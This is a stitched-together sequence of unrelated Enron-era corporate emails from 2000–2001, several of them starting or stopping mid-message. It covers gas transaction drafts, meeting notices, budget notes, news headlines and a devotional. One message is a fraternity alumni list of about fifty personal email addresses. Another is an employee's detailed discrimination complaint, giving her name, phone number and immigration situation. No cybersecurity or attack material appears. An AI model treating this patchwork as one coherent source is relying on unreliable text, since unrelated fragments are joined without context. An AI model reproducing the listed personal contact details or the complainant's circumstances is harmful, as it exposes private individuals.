checking credit to make sure we don't have a problem doing this much gas
with you guys, I don't think we'll have a problem but I'll let you know.  

Because of the size and term of this deal, we have to get board approval,
and that is happening next Wednesday.  Would you be able to do the deal
today subject to board approval?  I don't foresee any problems with the
board, but we do need them to sign off on it.  

Let me know what you think!

Brian

From: Mark.Whitt@enron.com [mailto:Mark.Whitt@enron.com]
Sent: Thursday, February 15, 2001 4:18 PM
To: Day, Brian (Denver)
Subject: Opal Transaction Agreements

Brian this is a draft version of what the Transaction Agreements would
like.  Let me know if the form looks right to you.  Obviously we will
adjust to what the actual deal is.

Thanks

Mark

(See attached file: AEC opal index1TA.doc)(See attached file: AEC opal
Nymex1TA.doc)

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You're invited!

Come learn about the Jones Graduate School of Management at Rice University!  This is your opportunity to meet to meet with individuals from the Jones Office of Admissions, as well as with current students and alumni.

Date:  Monday, November 5, 2001

Time:  6:00 - 8:00 pm

Location:  ECN 5c2

Space is limited, so please email Constance Charles by November 1st to RSVP.  

Thanks, and hope to see you there!

Hi Vince,
?
How are things with you? Well I hope. Do you have  the latest version of your 
part of chapter 3? (I think GRant has sent thru a  seperate, updated version 
to you, which has been typeset). Everything else has  been tied up and we 
will go with the version we have, unless we hear  otherwise.
?
Many thanks and best regards.
?
Chris.
?

bunda, it should not still affecting you... Did you drink some water or OJ?  I hope that you are having a good day.

Love
ME

From: 	raquel.nunes-thomas@us.abb.com@ENRON  
Sent:	Tuesday, October 23, 2001 9:15 AM
To:	Thomas, Paul D.
Subject:	Hello

Hoon,
I feel weird, headache, tired, my eyes hurt... I wish I hadn't taken the sinus
Tylenol

?
?
?
To date this is my complete Email list of Beta Theta  Pi?Class of 1970 to 
1976.? If you know of any lost Betas and want to  share their Email Addresses 
just attach their name to this list and email it  back to me. As you can see 
the list?is comprised of mostly 1975 graduates.   I'll update the list next 
week. 
?
BETA THETA PI? -KAI-
? Clay Coburn? (ccoburn@themissionbank.com)
?  Frank Roby? (froby@holmesmurphy.com)
? Jim  Glass? (jglass@mmind.net)
?  'Beta Elvis'? (WThom25746@aol.com)
? Bill  Paterson? (WMPat50@aol.com)
?  Bill Jordan? (williamhjordan@mindspring.com)
?  Geoff Anderson? (WGANDER@email.twa.com)
? Wayne  Thompson? (wayne.thompson@chase.com)
?  Rob Rossell? (rrossell@angiodynamics.com)
?  Randall Harman? (RHarman@Bass-Associates.com)
?  'Beta Phil Morrow'? (pwm1950@aol.com)
? pengel@eaglenet.com? (pengel@eaglenet.com)
? Hess  Hester? (pastorhess@hotmail.com)
? John  Miller? (miller@advlaser.com)
? Mark  Hillstrom? (MDLR15@aol.com)
?  Mitch Baddour? (mbaddour@msn.com)
? 'Beta Mark  Paul'? (markpa@gateway.net)
? 'Beta Mark  Hillstrom'? (mark.hillstrom@morgankeegan.com)
?  Leland B White? (leland.white@energyspectrum.com)
?  Kevin Stewart? (kstewart@atcua.org)
? Kenny  Cason? (kcason@flash.net)
?  Don Manino? (judgegyro@yahoo.com)
? Jeff  Skilling? (jskilli@enron.com)
? John  Miller? (johnmiller@advlaser.com)
?  John Grumbles? (john_grumbles@berryplastics.com)
?  JAMES FRANK ULRICH? (JimFUlrich@aol.com)
? John  Petree? (jepetree@bellsouth.net)
? Jim  Dent? (jdent@express-news.net)
? Jim  Wallace? (JAWALLACE12050@aol.com)
? Bill  Jansson? (jansson@mindspring.com)
?  Thomas Dale Hosman? (hosman@flash.net)
? Harris  Wheeler? (harris@wheelerads.com)
? 'Beta  Carl Hohl'? (handshohl@eudoramail.com)
?  Bud Nelson? (GOLFNBUD@aol.com)
? Fred D  Haulenbeek? (fredinvt@juno.com)
? Craig  Deisenroth? (craigd9561@aol.com)
? Craig  Weichmann? (Craig.Weichmann@morgankeegan.com)
?  Chuck Paul? (chuck.paul@a-closer-look.com)
?  Gregg Christoph? (christop@netcomuk.co.uk)
?  Woody Berry? (boethia@hotmail.com)
? 'Beta Dave  Lesh'? (boardwalk@iquest.net)
? 'Beta  Bill Jordan'? (BJordan@intertrust.com)
? 'Bill  Grumbles'? (bill.grumbles@turner.com)
?  Tom Benson? (bensons3@airmail.net)
? Alan  Zaremba? (azaremba@FZCI.net)
? akinARTIE  KRETZ? (akinpa@email.msn.com)
? Tom  Hutchenson? (HutchatHOH@aol.com)
?
[IMAGE]
See you at Homecoming.  Space
? 

I would appreciate your looking into this issue.  Thank you.  Jim
From: Daw, Nicki On Behalf Of Frevert, Mark
Sent: Thursday, October 18, 2001 10:35 AM
To: Seleznov, Ryan; Oxley, David
Cc: 'ken.lay@enron.com'; Whalley, Greg; Derrick Jr., James; Kean, Steven J.; Mcconnell, Mike; Olson, Cindy; Fleming, Rosalee; Taylor, Liz; McVicker, Maureen; Harris, Stephanie J
Subject: FW: my unfair treatment at Enron--please HELP

Ryan,
 
Could you please follow up on this a.s.a.p?  I don't think it should wait until Cindy returns to the office.
 
Thank you.
 
Mark
 
From: Mingchenglian@aol.com [mailto:Mingchenglian@aol.com]
Sent: 17 October 2001 23:42
To: ken.lay@enron.com
Cc: Whalley, Greg; Frevert, Mark; jim.derrick@enron.com; Kean, Steven J.; Mcconnell, Mike; Olson, Cindy
Subject: my unfair treatment at Enron--please HELP

                                                                               Ms. MingchengLian 
                                                                               Manager,EGM/Fundamentals 
                                                                               713-529-0864                      

Dear Mr. Lay, 

My employment with Enron is to be terminated, the reason given by HR, for not meeting performance standards.  However, I firmly believe that this is not the real reason, the real one being for defying the wishes of my manager (Mr. Lowell Bezanis,Manager, EGM) who, I believe was acting in a discriminatory way towards me.  I have since filed a written complaint to Enron's EEO Committee. 

This committee, having investigated the case, has acknowledged that there were working environment issues but has refused to provide me with a written report of their findings.  As a consequence, my reasonable request for a re-deployment package has been rejected.   

If my employment is to be prematurely terminated I not only lose my job, but also my residence status in the US where I have lived in the past 8 years.  The HR department is fully aware of my situation and I feel that they were taking advantage of this fact when they asked me to sign a waiver not to sue Enron in exchange for protecting my status for 30 days.  I now feel that I am being pushed into a corner, unnecessarily, since all I have set out to achieve is to bring an awareness of the working conditions and the discrimination which is rife (not only towards myself but also to other employees, some of whom have left as a result) in the department and to move forward with practicable solutions. 

I have enjoyed a number of years as an employee of Enron where I have performed to the best of my ability, often receiving compliments from clients.  This cannot be the only way to solve this issue! 

The Trigger and Retaliation.    

Since Mr. Bezanis has been my line manager, internal training opportunities have repeatedly been denied to me.  On August 28, I attended a class of 'natural gas structuring'. Mr. Bezanis called the Learning Center refusing to pay the associated costs, however, I was welcomed to remain in the class at no charge. 

I felt that this situation could not continue and so I made an appointment with Ms. Shanna Funkhouser (my HR representative).  The day previous to the aforementioned meeting I was summoned to appear before Ms.Funkhouser.  Mr. Bezanis and Mr. Jeff Andrews were present in the conference room as I entered.  Feeling intimidated, I requested that I meet with Ms. Funkhouser privately the next day in order to submit a formal complaint regarding the EEO, as agreed previously.  She refused and continued with what I can only describe as adisciplinary by accusing me of excessive use of Enron property and equipment.  I was suspended and sent home with pay with possible termination. Ms. Funkhouser explained that her actions were based on the following: 

-        the assumption that I was making long distance personal calls from work 
-        that I was making jobapplications by company email 

Unequal Employment Opportunities and Unfair Treatment. 

As a manager, Mr. Bezanis has: 

-        Intentionally and consistently limited my employment opportunities in terms of training and performance appraisals.  He has repeatedly disapproved of my training courses without good cause since he refuses to explain his disapproval. 

-        Shown unfavorable bias towards my job performance (PRC process) which according to the PRC rules should be judged also by my peers' and clients' by review.  Until now, Iam still have not been informed of my PRC results. 

-        Made efforts to suppress my innovative ideas such as that of creating an 'energy index' as a potential useful trading instrument.  My idea was warmly welcomed by the team in the Department Offsite, but the reaction of Mr. Bezanis was of anger for not going through him first.  I was banned by him from developing the idea further. 

Discrimination. 

It is our belief that Mr. Bezanis has difficulty dealing with women employees, especially competent women, as equals.  His rough, stifling, and unfair management style has led to the resignation of Ms. Courtney Campbell, the other only woman reporting to him.   

Hostile Working Environment. 

The working environment under Mr. Bezanis has been an intimidating and abusive one. Derogatory language offensive to women is frequent and common. Very little respect is paid to our integrity and intelligence.  We are managed by "threats" rather than constructive comments.   

Wrongful Termination. 

Knowing I was unfairly treated, Enron HR has not helped address my concerns.  I was told that my employment is to be terminated due to my lowest ranking in the mid-year PRC process.  Ms. Cindy Olson admitted that the PRC practices might be unfair, but she said she had no power to re-open the past PRC cases.  I feel I have been subjected to a victimization campaign while the whole Enron organization attempts to protect the managers, no matter how wrong they are.  I request your attention and help during my most difficult time. 

I thank you for your understanding and commitment to a happy and positive resolution in this case. 

Yours sincerely, 

Mingcheng Lian 

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12/11/00 MANAGEMENT-CRD 0
12/11/00 MANAGEMENT-GAS 4,394,424.
12/11/00 MANAGEMENT-PWR 357,959.
12/11/00 AGG-MANAGEMENT 4,579,519.

Thanks very much.  Let's keep trying.  And congratulations on a great find in 
Roger.

Best,
Jeff

	"Robert Weisenmiller" <rbw@mrwassoc.com>
	02/16/2001 03:54 PM
		 
		 To: Jeff Dasovich <Jeff.Dasovich@enron.com>, Michael Day <MDay@gmssr.com>
		 cc: 
		 Subject: I am trying

I have a call into John Geesman, but I have not heard from him.

I may try Susan Morse also, she knows financing issues very well (ask 
Ronnie Lott and Joe Montana) although II am not sure on muni bonds.

Bob

www.carrerweb.com
http://content.monster.com
www.energyjobs.com
www.dukeenergy.com
www.williams.com
www.reliantenergy.com
www.nisource.com
www.headhunter.net
www.calpine.com

---------------------- Forwarded by Daren J Farmer/HOU/ECT on 01/06/2000 

Robert Superty
01/06/2000 08:32 AM
To: Katherine L Kelly/HOU/ECT@ECT, Edward Terry/HOU/ECT@ECT, Randall L 
Gay/HOU/ECT@ECT, George Smith/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Pat 
Clynes/Corp/Enron@ENRON
cc: Heather Choate/HOU/ECT@ECT 
Subject: Re: Request for Application Report List

This is a follow up to the earlier email I forwarded regarding CES historical 
information. Note the deadline of 1/15, I believe that should be Friday 1/14 
so I need your responses by Thursday 1/13. 

Please fill out the spreadsheet for each area and forward back to me. I will 
consolidate our responses from a Logistics perspective. Lets have them add 
everything they need and if challenged we can re-review later.

Thanks - Bob
---------------------- Forwarded by Robert Superty/HOU/ECT on 01/06/2000 
   
	From:  Bryce Baxter                           01/05/2000 12:00 PM
	
To: Sheri Thomas/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT, Mark 
Friedman/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT, Bob Klein/HOU/ECT@ECT, 
Georgeanne Hodges/HOU/ECT@ECT, Lisa Csikos/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT
cc: Inja Chun/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, Tommy J 
Yanowski/HOU/ECT@ECT, Susan Harrison/HOU/ECT@ECT, Lawrence R 
Daze/HOU/ECT@ECT, Pamela Chambers/Corp/Enron@Enron, jpeeple@columbienergy.com 
Subject: Re: Request for Application Report List  

Last month Richard Burchfield sent us the following list of reports that are 
available from CES's systems.  IT is working on a way to secure an electronic 
copy of the required reports and making them available to us online via the 
electronic document management system.  While ENA is not liable for pre-2000 
business, we may need to assist with research as issues arise.  In order to 
get the ball rolling, we need to get a list together of the reports we need.  
Please fill out the attached spreadsheet and list any reports that you need 
and return it to me by Friday, 1/15/2000.  If you do not want any reports, 
please send me an Email letting me know that.  I have included samples of how 
to fill this out, and if you have any questions please give me a call.

If you aren't sure which reports you need based on the names, please get with 
any CES employees you have hired or with a CES transition employee to get 
clarification.  If you need samples of any of these reports please let my 
assistant, Pam Chambers, know and she will coordinate getting a sample report 
printed for you.  

In addition, I will need a list of the users and their logonid's who will 
need to have access to this data.  Please send that to me by the 15th as 
well.  

Thanks, Bryce

Richard Burchfield
12/01/99 04:58 PM
To: Sheri Thomas/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT, Brent A 
Price/HOU/ECT@ECT, Mark Friedman/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT, 
Tommy J Yanowski/HOU/ECT@ECT, Bob Klein/HOU/ECT@ECT, Bryce 
Baxter/HOU/ECT@ECT, Georgeanne Hodges/HOU/ECT@ECT
cc:  

All,
 Below is attached the report list for CES.

Richard
---------------------- Forwarded by Richard Burchfield/HOU/ECT on 12/01/99 

cdeaton@columbiaenergygroup.com on 12/01/99 01:25:37 PM
To: Richard Burchfield/HOU/ECT@ECT
cc: "        -         *Peeples, Jeff" <jpeeple@columbiaenergygroup.com>, 
"        -         *Licarione, Linda" <llicari@columbiaenergygroup.com> 

Please see the attached for the Altra GMS report listing.  Please forward any
additional questions relating to Altra GMS to Linda Licarione (713-693-2845) 
or
Jeff Peeples (713-693-2597).  Thanks.

Linda Licarione
12/01/99 01:04 PM

To: Clay Deaton/CES/ColumbiaGas@ColumbiaGas
cc:
Subject: Request for Application Report List

Attached is a list of 210 reports from Altra GMS.  Please note that we may not
be using all of these reports.  If you need me to scale this down to those
currently being used, I will need to do a bit of analysis.  Many of the base
reports, those denoted in the spreadsheet with filename-location (1st column) 
=
master.mdb are not currently being used at CES.  Let me know if you have any

---------------------- Forwarded by Linda Licarione/CES/ColumbiaGas on 
12/01/99
12:58 PM ---------------------------

Clay Deaton
11/30/99 01:27 PM

To: Linda Licarione/CES/ColumbiaGas@ColumbiaGas
cc:

Can you provide me with a complete list of GMS reports?

---------------------- Forwarded by Clay Deaton/CES/ColumbiaGas on 11/30/99
01:26 PM ---------------------------

rburchf@ect.enron.com on 11/30/99 10:36:11 AM
Please respond to rburchf@ect.enron.com

To: Clay Deaton/CES/ColumbiaGas@COLUMBIAGAS
cc: csulliv@ect.enron.com, bprice@ect.enron.com

Clay,
     I have had several requests from the ENA business groups. now that the
agreement has been finalized, for report lists from your key applications, 
those
being, Altra GMS and Risk Works( there may be others as people become more
aware). There will be a need for information for ENA to manage contracts as we
go through he transition period. We feel this would be an easier process to 
work
through if ENA knows what kind of information they can request as we go 
through
the transition.

Thanks, Richard

 - GMS_ReportListing by Header.xls

Good morning everyone:

Several of us were talking and in order to help us get into the 
"Holiday Spirit" we thought it would be nice if each of us brought 
an appetizer, dessert, chips, popcorn, etc. or anything you desire, 
next Monday, the 18th.  We will put everything out in one of the 
conference rooms and celebrate ALL DAY!  Never mind about the 
calories - this is a once-a-year thing!  

This is not mandatory - just if you want to and if you remember!

Also, don't forget the "Holiday Party" at Damians on Tuesday night 
5:30 - 7:30 PM.

Have a great day!

Shirley

---------------------- Forwarded by Chris Dorland/CAL/ECT on 02/17/2000 01:26 

Rob Laird <rlaird@oebi.com> on 02/17/2000 11:57:22 AM
To: "'chris.dorland@enron.com'" <chris.dorland@enron.com>
cc:  
Subject: FW: www.MichaelMcDermott.com In case your interested

From: Michael McDermott [mailto:Michael.McDermott@spectrongroup.com]
Sent: Thursday, February 17, 2000 11:51 AM
To: 'Doug Laird'; 'Rob Laird'; 'Perry Undseth'; 'Tony Browning'
Subject: www.MichaelMcDermott.com

> From: Jim Martinek
> Sent: Thursday, February 17, 2000 6:48 PM
> To: Michael McDermott
> Subject: FW:
>
>
>
> Sent: 17 February 2000 12:49
> To: 'nadam@powerup.com.au'
>
>
>
> Sent: 15 February 2000 15:59
> To: COMMODITIES & AGRICULTURE: Spectron to widen internet trading
> Financial Times, Feb 15, 2000, 215 words
>
> Spectron, the international energy broker, is to launch an
> internet-based system for over-the-counter trading of natural gas and
> electricity.
> The system, expected to go online next week, will be offered to
> Spectron's clients via a secure platform. It follows similar
> initiatives for coal and industrial metals.
> "We will effectively be offering the same service as we already offer
> our gas and electricity clients, but via an internet connection
> instead of the phone," said Jim Martinek, a partner at Spectron.
> The broker believes customers increasingly want to be able to conduct
> business while away from the office, Mr Martinek said. Internet-based
> trading allows them to process bids and offers from a remote point.
> The online system could also encourage increased trading of gas and
> electricity in continental Europe.
> Consumption of gas and electricity in continental Europe is about 10
> times the amount consumed in the UK, but only about 5 per cent is
> traded, Spectron said.
> That contrasts with the UK market, where brokers trade twice the
> volume of natural gas consumed. In Scandinavia, where there is a
> highly developed electricity market, brokers trade five times the
> amount of electricity consumed, Spectron said.
> "Working via an internet connection breaks down barriers such as
> language and time differences, which we hope will help boost trading,"
> Mr Martinek said.
> Spectron has 2,000 subscribers to its internet-based coal trading
> system, and claims to have captured 15 per cent of the US-brokered OTC
> coal market.
> It also provides online trading facilities for specialist metals.
> Copyright , The Financial Times Limited
>
>
> Subject:
>
> COMMODITIES & AGRICULTURE: Spectron to widen internet trading
>
> 

The order has not been issued yet, but attached is the Staff presentation from the FERC meeting. Thought you might want to see this.  

More than 6,000 (more than 4,000 American citizens) innocent civilians have been killed in a brutal attack on our country and our way of life.  If that is not worth fighting for, then what in your opinion is?  I will admit, I am a conservative and therefore our opinions will usually be polarized on many issues.  I am glad that life in our country allows for dissent.  But I think that this right is worth the ulimate sacrifice.  I honestly believe that if we do not respond, and with calculated deadly force, that we ultimately lose.  And I am not talking about losing a war, but our freedom.  I agree with you that war will bring unintended consequenses, but these consequences in my opinion, are the price we must pay to defend our way of life.

Darron Giron

Hello,

My W-2 seems to be wrong.  My Wages appear to be significantly understated.  What do I need to do to rectify the problem?

Thanks,

Eric Bass
x3-0977

From: 	Allen, Phillip K.  
Sent:	Thursday, August 23, 2001 1:24 PM
To:	Sanders, Richard B.; 'kevin.wellenius@frontiereconomics.com, gfergus@brobeck.com,'

Here is the file of historical midmarkets for Sumas and Malin.  Call me if you have any questions.

713-853-7041

From: 	Bhatia, Randy  
Sent:	Thursday, August 23, 2001 1:13 PM
Subject:	

sumas / malin info:

 << File: Phillip-malin&sumas info.xls >> 

-randy

Report on Day #1

Steve Howard
Alschuler Grossman Stein & Kahan LLP
phone: 310-407-7613
fax: 310-552-6077
cell:  213-716-0536
e-mail:  showard@agsk.com
                                                                              
................................................

ALSCHULER GROSSMAN STEIN & KAHAN LLP
ATTORNEYS AT LAW
www.agsk.com

2049 Century Park East
Thirty-Ninth Floor
Los Angeles, CA 90067-3213
Tel 310-277-1226
Fax 310-552-6077

This transmission is intended only for the use
of the addressee and may contain information
that is privileged, confidential and exempt from
disclosure under applicable law. If you are not
the intended recipient, or the employee or agent
responsible for delivering the message to the
intended recipient, you are hereby notified that
any dissemination, distribution or copying of
this communication is strictly prohibited.

If you have received this communication
in error, please notify us immediately
via e-mail at postmaster@agsk.com or
by telephone at 310-277-1226. Thank you.

...............................................
 - Report on Hellmold Day #1.doc

Please disregard the page sent earlier today.  Thanks.

Aaron P. Roffwarg
Bracewell & Patterson, LLP
South Tower Pennzoil Place
711 Louisiana St.
(713) 221-1117 (Ph)
(713) 221-2184 (Fax)

CONFIDENTIALITY STATEMENT:
This information is intended only for the use of the individual or
entity to which it is addressed and may contain information that is
privileged, confidential, and/or exempt from disclosure under applicable
law.  If you are not the intended recipient, you are hereby notified
that any dissemination of this information is strictly prohibited.  If
you have received this information in error, please notify us
immediately by telephone at (713) 221-1117 or by fax at (713) 221-2184,
and confirm that you have destroyed this information and any copies.
Thank you.

 - spa.pdf

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Sunday, May 6, 2001

"When people started saying personal things about me, about
what I was as a person, I decided it was time to get out."

- JOVAN LAZAREVIC, who quit after working for 18 years as a referee in
basketball, soccer and baseball.

Full Story:
http://www.nytimes.com/2001/05/06/sports/06SPOR.html

NATIONAL

U.S. Scientists See Big Power Savings From Conservation
http://www.nytimes.com/2001/05/06/national/06CONS.html

New Rules for Soccer Parents: 1) No Yelling. 2) No Hitting
Ref.

Segregation Growing Among U.S. Children
http://www.nytimes.com/2001/05/06/national/06DESE.html

Sugar Rules Defy Free-Trade Logic
http://www.nytimes.com/2001/05/06/business/06SUGA.html

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with the added benefit of convenient home delivery. Now you
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POLITICS

Cameras Being Turned on Once-Shy C.I.A.
http://www.nytimes.com/2001/05/06/politics/06CIA.html

News Analysis: Bush's Capitol Hill Two-Step
http://www.nytimes.com/2001/05/06/politics/06BUSH.html

In Spanish, Bush Focuses on Working With Mexico
http://www.nytimes.com/2001/05/06/politics/06RADI.html

Report Finds More Diversity at Top Levels in Government
http://www.nytimes.com/2001/05/06/politics/06GOVE.html

On a Diplomatic Mission, Pope Arrives in Syria
http://www.nytimes.com/2001/05/06/world/06POPE.html

At Home, Mexico Mistreats Its Migrant Farmhands
http://www.nytimes.com/2001/05/06/world/06MEXI.html

In Israel, Panel Urges Settlement Freeze and an End to
Terror
http://www.nytimes.com/2001/05/06/world/06MIDE.html

Poor Region's Governors in Colombia Unite to Oppose Drug
Plan
http://www.nytimes.com/2001/05/06/world/06COLO.html

BUSINESS

Questions of Style in Warnaco's Fall
http://www.nytimes.com/2001/05/06/business/06LIND.html

An Executive's Guide to Crystal Gazing in a Shaky Economy
http://www.nytimes.com/2001/05/06/business/06INDI.html

Penny-Pinching Wizardry for Leaner Companies
http://www.nytimes.com/2001/05/06/business/06OLIV.html

Reassessing Cisco as a Tech Stalwart
http://www.nytimes.com/2001/05/06/technology/06CISC.html

A Wing, a Prayer and Presto, It's Web TV
http://www.nytimes.com/2001/05/06/technology/06WEBTV.html

Discounts That Come to Travelers Who Wait
http://www.nytimes.com/2001/05/06/technology/06TRAV.html

Layoffs Are Becoming a Spring Break for the Dot-Com
Generation
http://www.nytimes.com/2001/05/05/technology/05DOTC.html

NEW YORK REGION

Angered by Shooting, 200 March in Irvington
http://www.nytimes.com/2001/05/06/nyregion/06RALL.html

Molecular Biologist Becomes First Woman to Lead Princeton
http://www.nytimes.com/2001/05/06/nyregion/06PRIN.html

For Chinese, Bliss Is Eternity in a Suburban Grave
http://www.nytimes.com/2001/05/06/nyregion/06GRAV.html

The Latino Candidate: Yours, Mine or Ours?
http://www.nytimes.com/2001/05/06/nyregion/06LATI.html

SPORTS

Monarchos Leaves Derby Field in the Dust
http://www.nytimes.com/2001/05/06/sports/06RACI.html

Once Again, Favorite Flunks the Derby
http://www.nytimes.com/2001/05/06/sports/06VECS-LATE.html

Collision in Crease Puts Devils on Brink
http://www.nytimes.com/2001/05/06/sports/06DEVI.html

A Policeman Who Turned Into a Hit Man
http://www.nytimes.com/2001/05/06/sports/06ANDE.html

ARTS

Jane Fonda: An Unscripted Life Starring Herself
http://www.nytimes.com/2001/05/06/arts/06KENN.html

Ravinia Festival: Where the Trains Have a Voice in the
Concerts
http://www.nytimes.com/2001/05/06/arts/06OEST.html

Orff's Musical and Moral Failings
http://www.nytimes.com/2001/05/06/arts/06TARU.html

Dancing Like a Bird, Like a Whale, Like the Wind
http://www.nytimes.com/2001/05/06/arts/06SCHE.html

OP-ED COLUMNISTS

By MAUREEN DOWD: Mexico Likes Us!

Why, only three months in, is America roiled by all these
bristly spats around the globe?

http://www.nytimes.com/2001/05/06/opinion/06DOWD.html

By PAUL KRUGMAN: More Missing Pages

How can Congress pass a budget resolution without factoring
in the cost of a missile defense system, military buildup
and expanded Medicare coverage?

http://www.nytimes.com/2001/05/06/opinion/06KRUG.html

You received these headlines because you requested The New
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Please run a Mark to Market as of 12/31/2001 for TENASKA III Texas Partners.  
Please fax Sheila Trueblood at 402-691-9552 when you have printed the report.

Thanks,

Errol

Jay,

Attached is a sample Annex B and B-1 for a U.S. corporate entity.  We have 
set up the sample showing only the Counterparty providing credit, including 
provisions for a guaranty, and assuming that cash and letters of credit are 
both eligible collateral.  Please check with legal before sending out a 
sample, as occassionally our forms and provisions change.

Call us if you have any questions.

Stephanie

Guys, attached you will find a completed 2001 Pro Forma budget needing Lavo's 
review and then detailed review with each team.

This workbook has a number of worksheets including:
 a) pkrs o&m - this details the o&m costs for the sold peakers assuming we 
own throught Q2 - charged to the OOC;
 b) driftPrepay - shows the detail as provided netting drift and pre-pay 
expenses - not all that relevant if you assume that increasing drift will be 
offset by larger monetizations;
 c) Summary - overall completed income statement - note that non-external 
capital charges are added back to reach EBIT;
 d) commercial income - guts of the commercial budget;
 e) group expenses - shows the detail on ENA net groups expenses, EIS/ENW/IT 
non-allocable, corporate charges not allocated to specific commercial groups 
and bonus/other comp;
 f) HP&L - takes a cut at HP&L income statement and balance sheet in 2001 
assuming a sale by the end of Q2 - this needs some sit down work with Redmond;
 g) Balance Sheet Allocations - this defines by group the capital employed, 
assets to be sold and new capital expenditures expected in 2001 - then 
calculates a net capital and depreciation charge;
 h) Balance Sheet - this defines the existing balance sheet with no 
anticipated sales or increases by vehicle (ie) Enserco, JEDI, etc - merchant 
investments are charged @ a blended rate of 15% and strategic investments are 
charged @ a blended rate of 9%.

Two action items:
 a) Print out for John - Commercial Income  & Summary worksheets for his 
comment and review &
 b) Start putting completed commercial packages together for 
distribution/further comment by the business units in the next couple of 
weeks - include detailed income statement, headcount, balance sheet 
(including expected increases,decreases, capital charge and depreciation), 
leave pages open for goals & objectives and target customer list.  I would 
like to review format and detail for each group before distribution.

Regards
Delainey

I thought that Brenda's meeting is on Tuesday the 8th.

D

	From:  Yvette G Connevey @ ENRON                           02/01/2000 04:01 PM
	
cc:  
Subject: Internal Pool Meeting

This conflicts with Brenda's staff meeting. Do you want to send Stacey in 
your place? Let me know
Y
02/01/2000 03:59 PM ---------------------------

Heather Choate@ECT
02/01/2000 03:29 PM
To: Randall L Gay/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, George 
Smith/HOU/ECT@ECT, Edward Terry/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Pat 
cc: Yvette G Connevey/Corp/Enron@ENRON, Ragayle Pellum/HOU/ECT@ECT, Alex 
Saldana/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT, Scotty Gilbert/HOU/ECT@ECT, 
Brenda F Herod/HOU/ECT@ECT, Bryce Baxter/HOU/ECT@ECT 

Please plan to attend a meeting to discuss the transition from internal pools 
to service contract pools...

  Wednesday, February 9, 2000
  at 2pm in EB3084

 If you are not able to attend this meeting please send someone in your 
place. 

 Thank you, 
 for Scotty Gilbert
---------------------- Forwarded by Heather Choate/HOU/ECT on 02/01/2000 
   
	From:  Scotty Gilbert                           02/01/2000 02:48 PM
	
To: Heather Choate/HOU/ECT@ECT
cc: Randall L Gay/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, George Smith, 
Edward Terry/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Robert 
Superty/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, Bryce Baxter/HOU/ECT@ECT 

Heather can you set up a meeting in my office to discuss the transition from 
internal pools to service contract pools.

Scotty

attendees 
R. Gay
K. Kelly
G. Smith
E. Terry
D. Farmer
P. Klyne

or sub if they cannot attend

The FINAL Violation Memos for 11/26/01 have been published and are available for viewing on the ERV:  http:\\erv.corp.enron.com - Violation/Notification memo Section.

February 6

THE ESSENCE OF TEMPTATION

For we do not have a high priest who cannot sympathize with our
weaknesses, but one who has been tempted in all things as we are,
yet without sin (Hebrews 4:15).

I have found that many Christians struggle with the distinction
between temptation and sin. Bombarded by tempting thoughts, they
conclude that there must be something pretty sick about them. But
even Jesus was "tempted in all things as we are." But finish the
verse: "Yet without sin." As long as we are in the world, we are
exposed to temptation just like Jesus was. But He didn't sin, and
we don't have to sin either (1 Corinthians 10:13).

The basis for temptation is legitimate human needs. We will
either look to the world, the flesh and the devil to have our
needs met, or we will look to Christ who promises to meet our
needs (Philippians 4:19). The essence of temptation is the
invitation to live independently of God.

The power of temptation depends on the strength of the
strongholds which have been developed in our minds as we learned
to live independently of God. If you were raised in a Christian
home where magazines and television programs of questionable
moral value were not allowed, the power of sexual temptation in
your life will not be as great as for someone who grew up exposed
to pornographic materials. Why? Because your legitimate need to
be loved and accepted was met by parents who also protected you
from exposure to illegitimate means of meeting your needs. The
person who grew up in an environment of immorality may experience
a greater struggle with sexual temptation simply because that
stronghold in the mind was well-established before he was born
again.

Jesus was tempted to meet His own physical needs by using His
divine attributes independently of the Father to turn a rock into
bread. But instead He responded, "Man shall not live on bread
alone, but on every word that proceeds out of the mouth of God"
(Matthew 4:4). We also must respond to temptation by relying on
God to meet our needs.

Dear Jesus, help me not to listen to the voice of the tempter
today but to run to You as the source for meeting all my needs.

* To change the email address at which all of your
Crosswalk subscriptions are received, click here:
http://lists.crosswalk.com/chaddr/1,,,.htm?3~261895~V9udWFWFS8ES
.

This is Thomson Financial/Carson's Monday Morning newsletter.  Please
download the attached file and open it with Adobe Acrobat Reader version
3.0. If you have any questions please e-mail James Sang at
James.Sang@tfn.com or call 212-510-6848. For more financial information at
your fingertips, please visit Thomson Financial/Carson's www.irchannel.com.

 <<MM_5_21_01.pdf>>

 - MM_5_21_01.pdf 
---
You are currently subscribed to monday as: jwillia@enron.com
To unsubscribe send a blank email to leave-monday-162758D@news.carsongroup.com

Featuring:  MICHAEL L. MILLER

Topic:  Principal Investments

Thursday, May 17, 2001
EB 5 C2

You bring your lunch,										Limited Seating
We provide drinks and dessert.								RSVP  e-mail Kathie Grabstald
													      or call x 3-9610

Patrick -

Below is an updated version of the ConfirmLogic Annex marked to reflect the 
changes contemplated from the last draft.  I have also attached a clean copy 
of the document for your review.

Please let me know if you should have any further comments or questions.

Mark

Sorry if this is a duplicate - I don't remember if I sent this to you.
---------------------- Forwarded by Chris Germany/HOU/ECT on 12/27/99 09:39 

pdrexel@columbiaenergygroup.com on 12/27/99 11:30:20 AM
To: Dan Junek/HOU/ECT@ECT, Chris Germany/HOU/ECT@ECT
cc:  
Subject: FINAL - JANUARY 2000 NEEDS

KIM NOVSEK BIZIK
12/27/99 10:48 AM

To: Morgan Sharifi/CES/ColumbiaGas@ColumbiaGas, Dale Ray
East/CES/ColumbiaGas@ColumbiaGas, Phil Villagomez/CES/ColumbiaGas@ColumbiaGas,
Darren Espey/CES/ColumbiaGas@ColumbiaGas
cc: Marianne Stiles/CES/ColumbiaGas@ColumbiaGas, Joanne
Swogger/CES/ColumbiaGas@ColumbiaGas, Noel Bartlo/CES/ColumbiaGas@ColumbiaGas,
Paul Drexelius/CES/ColumbiaGas@ColumbiaGas

